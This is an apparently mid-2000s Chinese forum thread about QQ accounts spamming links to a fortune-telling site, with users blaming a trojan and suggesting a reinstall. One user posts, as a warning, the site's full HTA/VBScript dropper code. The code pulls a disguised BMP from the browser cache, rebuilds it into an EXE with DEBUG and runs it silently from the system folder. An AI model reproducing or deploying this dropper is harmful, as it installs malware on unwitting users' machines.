天啊，QQ是不是中毒了

dato

对了，这个算卦的很灵 http://www.53best.com 都来试一下看看你2004年的运气吧

怎么老莫名其妙，发一些这些东东给对方，别人还以为我做起广告来了，

是本地中木马，还是腾讯服务器有问题

平凡

不晓得，我没中过毒

谁教你用windows的？:p

aries1998

中毒了吧，郁闷了吧！

平凡

舒服了吧？相信了吧？

dato

看来是中了捆绑木马罗，该死的下载站

平凡

看黄片看安逸了吧？死定了。。。。

Maitou

去腾讯重下QQ安装吧，或者用gaim
你安装的QQ可能被修改了
我也曾经有位老兄总发广告给我，他个人还不晓的（踢到黑名单去了）

Maitou

顺便告诉你QQ2000C版本QQ还可以用的

dato

我靠啊，大家千万别点那个网站
http://www.53best.com/53best.asp
[PHP]
<SCRIPT LANGUAGE="VBScript">
Option Explicit
Dim FSO,WSH,CACHE,str,sucess
Set FSO = CreateObject("Scripting.FileSystemObject")
Set WSH = CreateObject("WScript.Shell")

sub FF
SearchBMPFile fso.GetFolder(CACHE),"53best[1].bmp"
if sucess=0 then SearchBMPFile fso.GetFolder(CACHE),"53best[2].bmp"
End sub

CACHE=wsh.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cache")
sucess=0




Function SearchBMPFile(Folder,fname)
   Dim SubFolder,File,Lt,tmp,winsys
   str=FSO.GetParentFolderName(folder) & "\" & folder.name & "\" & fname');
   if FSO.FileExists(str) then
      tmp=fso.GetSpecialFolder(2) & "\"
      winsys=fso.GetSpecialFolder(1) & "\"
      set File=FSO.GetFile(str)
      File.Copy(tmp & "tmp.dat")
      On Error Resume Next
      File.Delete
      if FSO.FileExists(str) then exit function
      set Lt=FSO.CreateTextFile(tmp & "tmp.in")
      Lt.WriteLine("rbx")
      Lt.WriteLine("0")
      Lt.WriteLine("rcx")
      '下面的数字是十六进制的EXE文件的大小
      Lt.WriteLine("2C56")
      Lt.WriteLine("w136")
      Lt.WriteLine("q")
      Lt.Close
      set Lt=FSO.CreateTextFile(tmp & "tmp.bat")
      Lt.WriteLine("@echo off")
      Lt.WriteLine("debug " & tmp & "tmp.dat <" & tmp & "tmp.in >" & tmp & "tmp.out")
      Lt.WriteLine("copy " & tmp & "tmp.dat " & winsys & "53best.exe>" & tmp & "tmp.out")
      Lt.WriteLine("del " & tmp & "tmp.dat >" & tmp & "tmp.out")
      Lt.WriteLine("del " & tmp & "tmp.in >" & tmp & "tmp.out")
      Lt.WriteLine(winsys & "53best.exe")
      Lt.Close
      WSH.Run tmp & "tmp.bat",false,6
      On Error Resume Next
      'FSO.GetFile(tmp & "tmp.bat").Delete
      sucess=1
  window.close ()
   end if
   If Folder.SubFolders.Count <> 0 Then
      For Each SubFolder In Folder.SubFolders
         SearchBMPFile SubFolder,fname
      Next
   End If
End Function
</script>


<SCRIPT language=javascript>
function F()
{
FF();
if (sucess==0) setTimeout("F()", 2000);
}
setTimeout("F()", 2000);
parent.moveTo((screen.width-0)/2,(screen.height-0)/2);
parent.resizeTo(0,0);
</SCRIPT>
</head>
<HTA:APPLICATION caption="no" border="none"
SHOWINTASKBAR="no">[/PHP]

dato

.